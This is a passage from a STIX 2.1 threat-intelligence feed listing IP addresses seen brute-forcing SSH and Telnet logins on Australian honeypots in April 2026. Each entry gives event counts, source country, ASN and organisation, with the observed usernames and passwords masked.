      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 212. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: HK. ASN(s): 135377. Organisation(s): UCLOUD INFORMATION TECHNOLOGY HK LIMITED. Usernames observed (masked): r**t, 3**********4. Passwords observed (masked): 3***********4, 3**********4, 1********a, 1**********f, A*******-.",
      "id": "indicator--84ba2710-0ca3-4dc5-a689-4cbc1415661c",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-02T09:17:42.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '101.36.127.212']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-02T09:17:42.000Z",
      "valid_until": "2026-05-04T09:15:03.000Z"
    },
    {
      "created": "2026-04-02T09:17:42.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 50. Sensors involved: Cowrie. Target ports: 23. Source country: IN. ASN(s): 132754. Organisation(s): Realtel Network Services Pvt Ltd.",
      "id": "indicator--758f2f7b-9775-44aa-b2af-71999f647766",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-02T09:17:42.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '103.110.21.145']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-02T09:17:42.000Z",
      "valid_until": "2026-05-04T09:15:03.000Z"
    },
    {
      "created": "2026-04-02T09:17:42.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 276. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: ID. ASN(s): 136052. Organisation(s): PT Cloud Hosting Indonesia. Usernames observed (masked): r**t, 3**********4. Passwords observed (masked): 3***********4, 3**********4, !**********c, .*******3, 1********a.",
      "id": "indicator--29dafb75-ed4e-403f-93a5-1f425ee22fa6",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-02T09:17:42.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '103.191.92.72']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-02T09:17:42.000Z",
      "valid_until": "2026-05-04T09:15:03.000Z"
    },
    {
      "created": "2026-04-02T09:17:42.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 136. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: ID. ASN(s): 59279. Organisation(s): PT Raja Mitra Informatika. Usernames observed (masked): r**t, 3**********4. Passwords observed (masked): !**********c, 1********a, 3***********4, 3**********4, A*******-.",
      "id": "indicator--e82a840b-44d5-47c8-baad-4954f045a56d",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-02T09:17:42.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '103.227.255.141']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-02T09:17:42.000Z",
      "valid_until": "2026-05-04T09:15:03.000Z"
    },
    {
      "created": "2026-04-02T09:17:42.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 182. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 135377. Organisation(s): UCLOUD INFORMATION TECHNOLOGY HK LIMITED. Usernames observed (masked): r**t, 3**********4. Passwords observed (masked): 3***********4, 3**********4, !**********c, 1********a, 1**********6.",
      "id": "indicator--0db30f23-2617-49bb-b816-75212ce7f232",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-02T09:17:42.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '107.150.103.210']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-02T09:17:42.000Z",
      "valid_until": "2026-05-04T09:15:03.000Z"
    },
    {
      "created": "2026-04-02T09:17:42.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: IN. ASN(s): 17488. Organisation(s): Hathway IP Over Cable Internet.",
      "id": "indicator--69aff940-8f9d-453b-9efe-191fc984f0b9",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-02T09:17:42.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '115.96.132.76']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-02T09:17:42.000Z",
      "valid_until": "2026-05-04T09:15:03.000Z"
    },
    {
      "created": "2026-04-02T09:17:42.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 100. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: KR. ASN(s): 4766. Organisation(s): Korea Telecom. Usernames observed (masked): r**t, 3**********4. Passwords observed (masked): 3***********4, 3**********4, B******6, Q*******4, a*****3.",
      "id": "indicator--2386842c-4f78-4a09-9ac7-4b4653b6669f",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-02T09:17:42.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '119.205.179.217']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-02T09:17:42.000Z",
      "valid_until": "2026-05-04T09:15:03.000Z"
    },
    {
      "created": "2026-04-02T09:17:42.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 346. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: SG. ASN(s): 132203. Organisation(s): Tencent Building, Kejizhongyi Avenue. Usernames observed (masked): r**t, 3**********4. Passwords observed (masked): 3***********4, 3**********4, !**********c, .*******3, 1**********6.",
      "id": "indicator--ad0acb12-13b0-495b-8403-520181585b0a",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-02T09:17:42.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '129.226.4.94']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-02T09:17:42.000Z",
      "valid_until": "2026-05-04T09:15:03.000Z"
    },
    {
      "created": "2026-04-02T09:17:42.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 355. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 14061. Organisation(s): DigitalOcean, LLC. Usernames observed (masked): r**t, 3**********4. Passwords observed (masked): 3***********4, 3**********4, !**********c, 1********a, 1**********f.",
      "id": "indicator--6b35d98b-5957-4a2d-9125-bf21c33fca81",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-02T09:17:42.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '164.90.138.136']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-02T09:17:42.000Z",
      "valid_until": "2026-05-04T09:15:03.000Z"
    },
    {
      "created": "2026-04-02T09:17:42.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 230. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: MX. ASN(s): 13999. Organisation(s): Mega Cable, S.A. de C.V.. Usernames observed (masked): r**t, 3**********4. Passwords observed (masked): 3***********4, 3**********4, 1**********, 1****2, 1*****x.",
      "id": "indicator--bdc3d9f7-ad56-4985-86e5-886abf36e00c",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-02T09:17:42.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '189.194.140.170']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-02T09:17:42.000Z",
      "valid_until": "2026-05-04T09:15:03.000Z"
    },
    {
      "created": "2026-04-02T09:17:42.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: EG. ASN(s): 8452. Organisation(s): TE Data.",
      "id": "indicator--58fde87b-a746-404f-87c4-40500a76dc22",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-02T09:17:42.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '197.44.114.250']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-02T09:17:42.000Z",
      "valid_until": "2026-05-04T09:15:03.000Z"
    },
    {
      "created": "2026-04-02T09:17:42.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 276. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: GB. ASN(s): 8075. Organisation(s): Microsoft Corporation. Usernames observed (masked): r**t, 3**********4. Passwords observed (masked): 3***********4, 3**********4, 1********a, 1**********6, 1**********f.",
      "id": "indicator--1adc8e90-c1ed-4d11-868c-ca4dbf69784c",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-02T09:17:42.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '20.26.135.100']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-02T09:17:42.000Z",
      "valid_until": "2026-05-04T09:15:03.000Z"
    },
    {
      "created": "2026-04-02T09:17:42.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 148. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: ID. ASN(s): 136052. Organisation(s): PT Cloud Hosting Indonesia. Usernames observed (masked): r**t, 3**********4. Passwords observed (masked): 2***!, 3***********4, 3****3, 3**********4, Q***8.",
      "id": "indicator--3055923a-44dc-4905-8ea1-d16afa25e4cb",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-02T09:17:42.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '203.145.34.165']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-02T09:17:42.000Z",
      "valid_until": "2026-05-04T09:15:03.000Z"
    },
    {
      "created": "2026-04-02T09:17:42.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: EG. ASN(s): 24863. Organisation(s): LINKdotNET.",
      "id": "indicator--c7b14837-4b2d-4cf9-966f-498f021a0613",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-02T09:17:42.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '213.131.64.123']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-02T09:17:42.000Z",
      "valid_until": "2026-05-04T09:15:03.000Z"
    },
    {
      "created": "2026-04-02T09:17:42.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 94. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: HK. ASN(s): 9908. Organisation(s): HK Cable TV Ltd. Usernames observed (masked): r**t, 3**********4. Passwords observed (masked): 3***********4, 3**********4, Q********t, S*******3, Z*****3.",
      "id": "indicator--59f00d86-b2a6-4ccf-afcf-dde75f358674",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-02T09:17:42.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '222.167.161.198']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-02T09:17:42.000Z",
      "valid_until": "2026-05-04T09:15:03.000Z"
    },
    {
      "created": "2026-04-02T09:17:42.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 166. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: DE. ASN(s): 132203. Organisation(s): Tencent Building, Kejizhongyi Avenue. Usernames observed (masked): r**t, 3**********4. Passwords observed (masked): 3***********4, 3****3, 3**********4, A******3, A********5.",
      "id": "indicator--66929be4-8eee-41a0-9430-1e1b101ae524",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-02T09:17:42.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '43.165.3.187']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-02T09:17:42.000Z",
      "valid_until": "2026-05-04T09:15:03.000Z"
    },
    {
      "created": "2026-04-02T09:17:42.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 136. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 10796. Organisation(s): Charter Communications Inc. Usernames observed (masked): r**t, 3**********4. Passwords observed (masked): !*************c, 1******a, 1*****!, 1*******?, 3***********4.",
      "id": "indicator--9e0ecbeb-9cdc-48d3-9de3-fd952cfef4f2",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-02T09:17:42.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '74.87.117.147']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-02T09:17:42.000Z",
      "valid_until": "2026-05-04T09:15:03.000Z"
    },
    {
      "created": "2026-04-02T09:17:42.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 45. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: RU. ASN(s): 48190. Organisation(s): T2 Mobile LLC.",
      "id": "indicator--e6780363-61fd-4953-a4e9-c3cef89a5bd2",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-02T09:17:42.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '90.150.68.44']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-02T09:17:42.000Z",
      "valid_until": "2026-05-04T09:15:03.000Z"
    },
    {
      "created": "2026-04-02T10:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 118. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: KE. ASN(s): 37100. Organisation(s): SEACOM-AS. Usernames observed (masked): r**t, 3**********4. Passwords observed (masked): 3***********4, 3**********4, A****3, A*******6, A***0.",
      "id": "indicator--ad0c9b37-54e4-4c16-8f18-9a9a51541d79",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-02T10:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '105.27.148.94']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-02T10:15:10.000Z",
      "valid_until": "2026-05-04T10:15:09.000Z"
    },
    {
      "created": "2026-04-02T10:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 8. Sensors involved: Cowrie. Target ports: 23. Source country: MY. ASN(s): 4788. Organisation(s): TM TECHNOLOGY SERVICES SDN. BHD.. Usernames observed (masked): e****e, r**t, **. Passwords observed (masked): s***l, s****m, t**r.",
      "id": "indicator--4569cebe-3f78-4410-a968-5f670b374101",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-02T10:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '120.140.99.165']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-02T10:15:10.000Z",
      "valid_until": "2026-05-04T10:15:09.000Z"
    },
    {
      "created": "2026-04-02T10:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: AU. ASN(s): 1221. Organisation(s): Telstra Limited.",
      "id": "indicator--894763b1-df49-492f-9744-ebd3fdacb504",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-02T10:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '121.222.72.111']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-02T10:15:10.000Z",
      "valid_until": "2026-05-04T10:15:09.000Z"
    },
    {
      "created": "2026-04-02T10:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 118. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: IN. ASN(s): 9498. Organisation(s): BHARTI Airtel Ltd.. Usernames observed (masked): r**t, 3**********4. Passwords observed (masked): 3***********4, 3**********4, A***0, A******2, A****2.",
      "id": "indicator--2d82f33e-03fa-4869-978f-8fa2cb8a7a2c",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-02T10:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '125.16.27.190']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-02T10:15:10.000Z",
      "valid_until": "2026-05-04T10:15:09.000Z"
    },
    {
      "created": "2026-04-02T10:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: NZ. ASN(s): 4771. Organisation(s): Spark New Zealand Trading Ltd..",
      "id": "indicator--8b5a669a-b750-4670-9f1b-81893f4cce89",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-02T10:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '125.237.27.181']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-02T10:15:10.000Z",
      "valid_until": "2026-05-04T10:15:09.000Z"
    },
    {
      "created": "2026-04-02T10:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: NL. ASN(s): 51396. Organisation(s): Pfcloud UG (haftungsbeschrankt).",
      "id": "indicator--17012ab5-4836-4511-be99-29a660d5b563",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-02T10:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '176.65.148.75']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-02T10:15:10.000Z",
      "valid_until": "2026-05-04T10:15:09.000Z"
    },
    {
      "created": "2026-04-02T10:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 118. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: UG. ASN(s): 21491. Organisation(s): UGANDA-TELECOM Uganda Telecom. Usernames observed (masked): r**t, 3**********4. Passwords observed (masked): 3***********4, 3**********4, A****3, A*******6, A***3.",
      "id": "indicator--0bd989d8-6bed-4e48-8382-3f129a7b276b",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-02T10:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '196.0.120.211']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-02T10:15:10.000Z",
      "valid_until": "2026-05-04T10:15:09.000Z"
    },
    {
      "created": "2026-04-02T10:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: RO. ASN(s): 47890. Organisation(s): Unmanaged Ltd.",
      "id": "indicator--66017db8-4039-41e0-b7a3-c27ed0bb0d89",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-02T10:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '2.57.122.199']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-02T10:15:10.000Z",
      "valid_until": "2026-05-04T10:15:09.000Z"
    },
    {
      "created": "2026-04-02T10:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 124. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: ID. ASN(s): 136052. Organisation(s): PT Cloud Hosting Indonesia. Usernames observed (masked): r**t, 3**********4. Passwords observed (masked): 1**z, 2***@, 3***********4, 3**********4, A***1.",
      "id": "indicator--c72f5873-b647-48cd-b195-c05f8fd3fd78",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-02T10:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '203.145.34.182']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-02T10:15:10.000Z",
      "valid_until": "2026-05-04T10:15:09.000Z"
    },
    {
      "created": "2026-04-02T10:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 22. Sensors involved: Cowrie. Target ports: 23. Source country: PK. ASN(s): 138423. Organisation(s): CMPak Limited.",
      "id": "indicator--f7be53c6-1d7d-407e-b6c4-98ddbba239d4",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-02T10:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '223.123.38.38']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-02T10:15:10.000Z",
      "valid_until": "2026-05-04T10:15:09.000Z"
    },
    {
      "created": "2026-04-02T10:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: US. ASN(s): 7922. Organisation(s): Comcast Cable Communications, LLC.",
      "id": "indicator--c3bebab0-886f-48f1-98af-77037c2cbded",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-02T10:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '73.136.161.221']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-02T10:15:10.000Z",
      "valid_until": "2026-05-04T10:15:09.000Z"
    },
    {
      "created": "2026-04-02T11:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 136. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: ID. ASN(s): 4761. Organisation(s): INDOSAT Internet Network Provider. Usernames observed (masked): r**t, 3**********4. Passwords observed (masked): 1****2, 1*****., 1**********=, 3***********4, 3**********4.",
      "id": "indicator--a8b17cbb-d45c-4e9f-ad28-5e59a53e5049",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-02T11:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '114.10.47.178']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-02T11:15:10.000Z",
      "valid_until": "2026-05-04T11:15:08.000Z"
    },
    {
      "created": "2026-04-02T11:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 106. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: VN. ASN(s): 24086. Organisation(s): Viettel Corporation. Usernames observed (masked): r**t, 3**********4. Passwords observed (masked): 3***********4, 3**********4, A*******@, P********3, R********6.",
      "id": "indicator--e5fefe95-c1e2-4d79-bd4c-ae6820916f8c",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-02T11:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '116.109.110.164']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-02T11:15:10.000Z",
      "valid_until": "2026-05-04T11:15:08.000Z"
    },
    {
      "created": "2026-04-02T11:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 218. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: SG. ASN(s): 135377. Organisation(s): UCLOUD INFORMATION TECHNOLOGY HK LIMITED. Usernames observed (masked): r**t, 3**********4. Passwords observed (masked): 3***********4, 3**********4, 1**2, 1*******3, 7****4.",
      "id": "indicator--caf7d13b-6494-4970-bfab-b52cf3495528",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-02T11:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '118.194.234.8']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-02T11:15:10.000Z",
      "valid_until": "2026-05-04T11:15:08.000Z"
    },
    {
      "created": "2026-04-02T11:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 154. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: KR. ASN(s): 4766. Organisation(s): Korea Telecom. Usernames observed (masked): r**t, 3**********4. Passwords observed (masked): 1**2, 1********3, 1*******3, 3***********4, 3**********4.",
      "id": "indicator--c1d91fbb-55fd-4fa9-acd3-ae4f8a6e1f94",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-02T11:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '125.138.175.113']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-02T11:15:10.000Z",
      "valid_until": "2026-05-04T11:15:08.000Z"
    },
    {
      "created": "2026-04-02T11:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 3. Sensors involved: Cowrie. Target ports: 22. Source country: NL. ASN(s): 14061. Organisation(s): DigitalOcean, LLC.",
      "id": "indicator--141e2abe-8c9a-4fe1-9921-ccff713d56d2",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-02T11:15:10.000Z",
